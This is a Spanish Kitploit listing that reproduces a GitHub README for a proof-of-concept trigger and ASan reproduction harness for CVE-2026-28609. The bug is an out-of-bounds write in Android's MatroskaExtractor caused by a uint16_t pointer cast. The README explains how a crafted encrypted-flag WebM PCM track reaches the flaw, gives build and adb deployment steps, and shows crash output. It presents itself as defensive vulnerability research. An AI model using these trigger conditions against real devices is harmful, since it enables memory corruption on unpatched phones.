Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-28609-matroska-pcm-oob — Prueba de concepto y arnés de reproducción instrumentado para CVE-2026-28609, una escritura fuera de límites en MatroskaExtractor de Android, alcanzable mediante un archivo WebM manipulado con una pista de audio PCM big-endian. | Kitploit
Herramientas/GitHubGitHub/devrodt2/cve-2026-28609-matroska-pcm-oob
Seguridad AndroidForensia de MemoriaAnálisis de VulnerabilidadesExplotaciónIngeniería InversaFuzzingSeguridad MóvilExplotación de Binarios

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
devrodt2/cve-2026-28609-matroska-pcm-oob

CVE-2026-28609-matroska-pcm-oob

Prueba de concepto y arnés de reproducción instrumentado para CVE-2026-28609, una escritura fuera de límites en MatroskaExtractor de Android, alcanzable mediante un archivo WebM manipulado con una pista de audio PCM big-endian.

Ver Repositorio
hace 2h 56mAún no revisado

CVE-2026-28609 — Escritura fuera de límites en PCM de Matroska

Prueba de concepto, arnés de reproducción instrumentado y análisis técnico de CVE-2026-28609, una escritura fuera de límites en el MatroskaExtractor de Android, alcanzable mediante un archivo WebM manipulado con una pista de audio PCM big-endian.

De un vistazo

  • ID de CVE: CVE-2026-28609
  • Proveedor: Google / Android
  • Componente: frameworks/av/media/module/extractors/mkv/MatroskaExtractor.cpp
  • Problema: Escritura fuera de límites causada por un casting incorrecto
  • CWE: CWE-787 / CWE-704
  • Afecta a: Android 14, 15, 16, 16 QPR2
  • Gravedad: Alta
  • Impacto: Posible ejecución remota de código
  • Issue de AOSP: A-485377744
  • Parche: Corregido en la actualización de seguridad de Android de septiembre de 2026

1. Resumen

MatroskaSource::read() en el MatroskaExtractor de Android contiene un bucle de intercambio de bytes PCM big-endian que convierte un puntero a datos de frame a uint16_t * antes de sumar frame->range_offset(), un desplazamiento en bytes. Debido a que la aritmética de punteros de C sobre un uint16_t * escala el desplazamiento por sizeof(uint16_t) = 2, el puntero resultante queda 2 * range_offset bytes más allá del inicio del búfer, no range_offset bytes.

Cuando range_offset > 0, el bucle lee y escribe uno o más bytes más allá del final del MediaBuffer del frame. En un dispositivo sin ASan la lectura excesiva tiene éxito silenciosamente y la escritura excesiva corrompe el byte inmediatamente posterior al búfer.

La línea vulnerable:

root@kitploit:~
// MatroskaExtractor.cpp:1105 (pre-fix)
uint16_t *dstData = (uint16_t *)frame->data() + frame->range_offset();
uint16_t *srcData = (uint16_t *)frame->data() + frame->range_offset();
for (size_t i = 0; i < frame->range_length() / 2; i++) {
    dstData[i] = ntohs(srcData[i]);
}

La corrección upstream convierte el puntero a uint8_t * antes de aplicar el desplazamiento:

root@kitploit:~
uint16_t *data = (uint16_t *)((uint8_t *)frame->data() + frame->range_offset());
for (size_t i = 0; i < frame->range_length() / 2; i++) {
    data[i] = ntohs(data[i]);
}

2. Qué demuestra este repositorio

Un disparador funcional y reproducible para CVE-2026-28609, verificado bajo AddressSanitizer en un dispositivo Android 14 real. El repositorio incluye:

  1. Un generador en Python que produce un archivo WebM que lleva al extractor a la rama vulnerable con un range_offset distinto de cero.
  2. Un arnés de ABI de C que carga el plugin del extractor mediante dlopen, invoca GETEXTRACTORDEF y lee frames del archivo.
  3. Un conjunto de scripts de compilación que compilan una copia instrumentada con ASan del extractor AOSP vulnerable y la enlazan contra las bibliotecas del framework multimedia del dispositivo.
  4. Una configuración de compilación con autodescubrimiento de directorios de inclusión, de modo que la compilación se adapta a cualquier checkout de AOSP.

El resultado, en un dispositivo vulnerable:

root@kitploit:~
==14927==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 2 at 0x003c61ab3960 thread T0
    #0 ... MatroskaSource::read(...) MatroskaExtractor.cpp:1113
0x003c61ab3961 is located 0 bytes after 65-byte region

3. Mecánica del disparador

La rama vulnerable requiere que se cumplan todas las condiciones siguientes:

Condición

Las tres primeras se satisfacen declarando la pista con el ID de códec A_PCM/INT/BIG y una profundidad de bits de 16. La cuarta es la interesante.

range_offset se establece a un valor distinto de cero solo en MatroskaSource::setWebmBlockCryptoInfo(), que se invoca desde readBlock() bajo la condición:

root@kitploit:~
if (err == OK && mExtractor->mIsWebm && trackInfo->mEncrypted) {
    err = setWebmBlockCryptoInfo(mbuf);
}

Por lo tanto, el archivo disparador debe cumplir:

  • mIsWebm — el elemento EBML DocType debe ser "webm", no "matroska".
  • mEncrypted — la pista debe declarar ContentEncodings con ContentEncodingType = 1 (Encryption) y un ContentEncKeyID.
  • Frames no cifrados — el primer byte de cada frame debe ser un byte de señal cuyo bit bajo (0x1) sea 0, lo que indica que el frame no está cifrado pero sí codificado en contenido. Esto toma la rama else en setWebmBlockCryptoInfo, que llama a set_range(1, len - 1).

Tras el strip, range_offset = 1 para cada frame. La rama vulnerable calcula entonces (uint16_t *)data + 1, lo que avanza 2 bytes, y el bucle lee/escribe los bytes [2, 2 + range_length) — un byte más allá del final de la asignación de 65 bytes (frame de 64 bytes + señal de 1 byte).

Distribución de bytes de un frame disparador

root@kitploit:~
+---------+------------------------------------+
| 0x00    | 64 bytes of frame data (0xAA...)   |
+---------+------------------------------------+
  signal               PCM payload

El byte de señal 0x00 se elimina mediante `set_range(1, 64), lo que deja un frame de 64 bytes dentro de una asignación de 65 bytes. La aritmética de punteros vulnerable escribe entonces en el desplazamiento de byte 2 hasta el 65.


4. Estructura del repositorio

root@kitploit:~
.
├── README.md
├── LICENSE
├── .gitignore
│
├── exploit/
│   └── generator.py             WebM generator + verifier
│
├── harness/
│   └── harness_c_abi.cpp        dlopen-based trigger harness
│
└── scripts/
    ├── build.conf               API level, sanitizer, RTTI flags
    ├── include_dirs.conf.sample Include roots template
    ├── build_foundation.sh      Build the foundation archive
    ├── build_plugin.sh          Build the extractor plugin
    ├── build_harness.sh         Build the harness
    └── run.sh                   End-to-end build + push + run

Dependencias upstream, clonadas por el usuario antes de compilar:

root@kitploit:~
av/                    frameworks/av (AOSP)
libwebm/               external/libwebm (mkvparser)
flac/                  external/flac
aosp-includes/         system/core, system/logging, system/libbase,
                       frameworks/native — header trees only
aosp-includes/libs/    libstagefright_foundation.so, libmedia.so,
                       libutils.so, libbinder.so, libcutils.so,
                       libbase.so, libmediandk.so, libstagefright_flacdec.so
                       — pulled from the target device

5. Requisitos previos

  • Host: Linux o WSL2 con bash, python3, make
  • NDK: Android NDK r27+, configurado mediante $ANDROID_NDK_HOME
  • Dispositivo: Android 14, 15, 16 o 16-QPR2 con un nivel de parche de seguridad anterior a septiembre de 2026
  • ADB: adb en el PATH (Linux, o adb.exe desde WSL)
  • Disco: ~1.5 GB para los clones de AOSP

6. Compilación

6.1 Clonar las dependencias upstream

root@kitploit:~
mkdir -p deps && cd deps

# AOSP frameworks/av (contains the vulnerable extractor)
git clone --depth 1 -b android-14.0.0_r1 \
    https://android.googlesource.com/platform/frameworks/av av

# libwebm (mkvparser)
git clone --depth 1 \
    https://android.googlesource.com/platform/external/libwebm libwebm

# libFLAC
git clone --depth 1 \
    https://android.googlesource.com/platform/external/flac flac

# AOSP header trees (no full checkout required)
mkdir -p aosp-includes
cd aosp-includes
for m in core libbase logging native; do
    git clone --depth 1 \
        "https://android.googlesource.com/platform/system/$m" "$m" 2>/dev/null || true
done
cd ../..

Si tu árbol de AOSP usa la disposición modular del extractor (av/media/module/extractors/mkv/), no se necesita ningún ajuste adicional. Si usa la disposición antigua (av/media/libstagefright/matroska/), consulta los scripts de compilación para la variable MKV.

6.2 Extraer las bibliotecas del dispositivo

root@kitploit:~
mkdir -p deps/aosp-includes/libs
for lib in libstagefright_foundation.so libstagefright_flacdec.so \
           libmedia.so libutils.so libbinder.so libcutils.so \
           libbase.so libmediandk.so; do
    adb pull "/system/lib64/$lib" deps/aosp-includes/libs/
done

6.3 Configurar

root@kitploit:~
cp scripts/include_dirs.conf.sample scripts/include_dirs.conf
cp scripts/build.conf.sample scripts/build.conf   # if provided separately
$EDITOR scripts/build.conf

Establece ANDROID_API para que coincida con tu dispositivo objetivo (p. ej., 34 para Android 14).

6.4 Compilar y ejecutar

root@kitploit:~
./scripts/run.sh

El script run.sh ejecuta cuatro pasos en orden:

  1. build_foundation.sh — compila 28 archivos fuente de av/media/module/foundation/ y av/media/module/metadatautils/ en plugin-asan/libstagefright_foundation_asan.a.
  2. build_plugin.sh — compila MatroskaExtractor.cpp, mkvparser.cc, mkvreader.cc y los enlaza con el archivo en libmkvextractor_asan.so.
  3. build_harness.sh — compila harness_c_abi con -shared-libsan.
  4. Envía el plugin, el arnés, el runtime de ASan y poc.mkv a /data/local/tmp y ejecuta el arnés.

Los scripts de compilación autodescubren las raíces de inclusión faltantes. Cuando el compilador informa fatal error: 'X' file not found, el script busca en los árboles de dependencias, encuentra el directorio padre de X y lo añade a include_dirs.conf. Por eso include_dirs.conf crece durante la primera compilación. Una vez descubiertas todas las cabeceras, el archivo se estabiliza y las compilaciones posteriores son deterministas.


7. Salida esperada

En un dispositivo vulnerable, el arnés produce:

root@kitploit:~
[+] loaded /data/local/tmp/libmkvextractor_asan.so
[+] plugin: Matroska Extractor  uuid[0..3]=abbedd92  version=1  api=3
[+] sniffer confidence = 0.600
[+] tracks: 1
[*] track 0: start
[PCM] be=1 bpf=16 off=1 len=64 data=0x3c61ab3920
=================================================================
==14927==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x003c61ab3960 at pc 0x0071ecb0ec4c bp 0x007fe7ae1710 sp 0x007fe7ae1708
READ of size 2 at 0x003c61ab3960 thread T0
    #0 0x71ecb0ec48  (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
    #1 0x71ecb180c8  (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
    #2 0x5861ac1ed0  (/data/local/tmp/harness_c_abi+0x3ed0)
    #3 0x7279cf15b8  (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)

0x003c61ab3961 is located 0 bytes after 65-byte region [0x003c61ab3920,0x003c61ab3961)
allocated by thread T0 here:
    #0 0x727c507668  (/data/local/tmp/libclang_rt.asan-aarch64-android.so+0xe4668) (BuildId: 163b9ff057b95542705e47bbc20f6f2ca91c5f58)
    #1 0x5861ac26c0  (/data/local/tmp/harness_c_abi+0x46c0)
    #2 0x71ecb15e7c  (/data/local/tmp/libmkvextractor_asan.so+0xbee7c)
    #3 0x71ecb0b50c  (/data/local/tmp/libmkvextractor_asan.so+0xb450c)
    #4 0x71ecb0d96c  (/data/local/tmp/libmkvextractor_asan.so+0xb696c)
    #5 0x71ecb180c8  (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
    #6 0x5861ac1ed0  (/data/local/tmp/harness_c_abi+0x3ed0)
    #7 0x7279cf15b8  (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
    #8 0x5861ac15f4  (/data/local/tmp/harness_c_abi+0x35f4)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
Shadow bytes around the buggy address:
  0x003c61ab3680: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fa fa
  0x003c61ab3700: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
  0x003c61ab3780: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
  0x003c61ab3800: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 fa fa
  0x003c61ab3880: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
=>0x003c61ab3900: fa fa fa fa 00 00 00 00 00 00 00 00[01]fa fa fa
  0x003c61ab3980: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3a00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3a80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3b00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3b80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==14927==ABORTING
Aborted

Tres números confirman el disparador:

  • WRITE of size 2 (o READ, cuando ASan detecta primero la mitad de lectura de data[i] = ntohs(data[i]))
  • 65-byte region — la asignación del frame es de 64 bytes de datos más el byte de señal de cifrado
  • 0 bytes after — el acceso cae en el primer byte posterior a la asignación

8. Lo que este PoC no hace

  • No hay RCE. El disparador termina en el informe de ASan. Demuestra la primitiva de escritura pero no la convierte en ejecución de código.
  • No hay heap grooming. El desbordamiento de 1 byte está acotado por el tamaño de la señal de cifrado. Desbordamientos mayores requerirían la ruta de cifrado particionada en setWebmBlockCryptoInfo (byte de señal 0x03), que este generador no ejercita.
  • No hay persistencia. No se ejecuta código en el objetivo más allá del propio proceso del arnés, que se ejecuta y termina.
  • No hay modificación del sistema. No se toca nada fuera de /data/local/tmp. El plugin solo lo carga el proceso del arnés.

9. Verificación

El generador incorpora un verificador. Ejecútalo antes de enviar:

root@kitploit:~
python3 exploit/generator.py poc.mkv

Se espera:

root@kitploit:~
[verify] OK - webm DocType + Encryption ContentEncoding will
[verify]      cause readBlock to strip the 1-byte signal via
[verify]      set_range(1, len-1), setting range_offset=1
[verify]      on every PCM frame. The uint16_t* cast in the
[verify]      vulnerable branch then writes 2 bytes past the
[verify]      end of the 64-byte frame buffer.

Se comprueba cada campo requerido: DocType, TrackType, CodecID, BitDepth, Channels, ContentEncodingType, ContentEncodingScope, ContentEncAlgo y ContentEncKeyID. Si algún campo es incorrecto, el generador termina con FAIL e imprime la discrepancia concreta.


10. Cronología

FechaEvento
2026-03-02CVE reservado por Google
2026-09-08Divulgación pública en el Boletín de Seguridad de Android
2026-09-09Corrección fusionada en LineageOS lineage-20.0 (change 497992)

11. Referencias

  • Android Security Bulletin — September 2026
  • AOSP: frameworks/av
  • AOSP: external/libwebm
  • LineageOS Gerrit change 497992
  • NVD entry for CVE-2026-28609
  • AddressSanitizer

12. Descargo de responsabilidad

Este repositorio se publica estrictamente para investigación de seguridad defensiva y verificación de vulnerabilidades. Está destinado a:

  • Investigadores de seguridad que validan el CVE contra sus propios dispositivos de prueba
  • Mantenedores de la plataforma Android que confirman que se ha aplicado un parche
  • Respondedores de incidentes que reproducen el disparador en hardware en cuarentena para determinar la exposición

No uses este código en dispositivos que no sean tuyos o para los que no tengas autorización escrita explícita para probar. Ejecutar el arnés en un dispositivo que no es tuyo, o usar el generador para producir archivos disparadores para su distribución, puede violar las leyes de uso indebido de computadoras de tu jurisdicción y la Política de Uso Aceptable de GitHub.

El autor no aprueba el uso de esta investigación con fines maliciosos. El archivo disparador producido por el generador está diseñado para provocar un fallo en una función específica bajo AddressSanitizer; no contiene una carga útil ejecutable, no modifica el sistema y no persiste más allá del proceso del arnés.

No se ofrece ninguna garantía. El código se suministra tal cual. El autor no acepta ninguna responsabilidad por daños causados por un uso indebido o por ejecutar el arnés en hardware de producción.

Si eres un proveedor y crees que este repositorio contiene material que debería tratarse bajo divulgación coordinada, abre un issue y el autor responderá en un plazo de 72 horas.


13. Licencia

Este proyecto se publica bajo la licencia Apache-2.0. Consulta LICENSE para el texto completo.

Copyright © 2026 — los contribuidores del PoC de CVE-2026-28609.

scripts/include_dirs.conf.sample

Renómbralo a include_dirs.conf después de clonar. Esta es la semilla. Los scripts de compilación lo amplían durante la primera ejecución.

root@kitploit:~
# include_dirs.conf
#
# Include directories for the CVE-2026-28609 plugin and harness builds.
# One path per line. Blank lines and lines starting with '#' are ignored.
# $ROOT expands to the project root (the directory containing scripts/).
#
# The build scripts extend this file automatically when they discover
# the parent directory of a missing header. Commit the extended version
# if you want reproducible builds.

$ROOT/av/include
$ROOT/av/media/ndk/include
$ROOT/av/media/libstagefright/include
$ROOT/av/media/module/foundation/include
$ROOT/av/media/module/extractors/mkv/include
$ROOT/av/media/module/codecs/flac/dec
$ROOT/libwebm
$ROOT/libwebm/mkvparser
$ROOT/flac/include
$ROOT/aosp-includes/core/libutils/include
$ROOT/aosp-includes/core/libcutils/include
$ROOT/aosp-includes/core/libcutils/include_outside_system
$ROOT/aosp-includes/core/include
$ROOT/aosp-includes/core/libsystem/include
$ROOT/aosp-includes/libbase/include
$ROOT/aosp-includes/native/include
$ROOT/aosp-includes/native/libs/binder/include
$ROOT/aosp-includes/native/libs/ui/include
$ROOT/aosp-includes/logging/liblog/include

scripts/build.conf.sample

Renómbralo a build.conf después de clonar.

root@kitploit:~
# build.conf — build configuration for CVE-2026-28609 PoC

# Android API level. Must be >= 29. Match your target device.
ANDROID_API=34

# Enable AddressSanitizer.
ENABLE_ASAN=1

# Debug flags.
OPT_FLAGS="-O1 -g -fno-omit-frame-pointer"

# Match AOSP's libutils / libmedia / libstagefright build flags.
# Set to 1 unless you have a specific reason not to.
DISABLE_RTTI=1
DISABLE_EXCEPT
IONS=1
Descargar herramienta
Origen
La pista es PCMmType == PCM
Big-endianAMEDIAFORMAT_KEY_PCM_BIG_ENDIAN == 1
Muestras de 16 bitsAMEDIAFORMAT_KEY_BITS_PER_SAMPLE == 16
El frame tiene range_offset distinto de ceroEstablecido por set_range(offset, ...)
2026-09Este PoC desarrollado y verificado contra un dispositivo real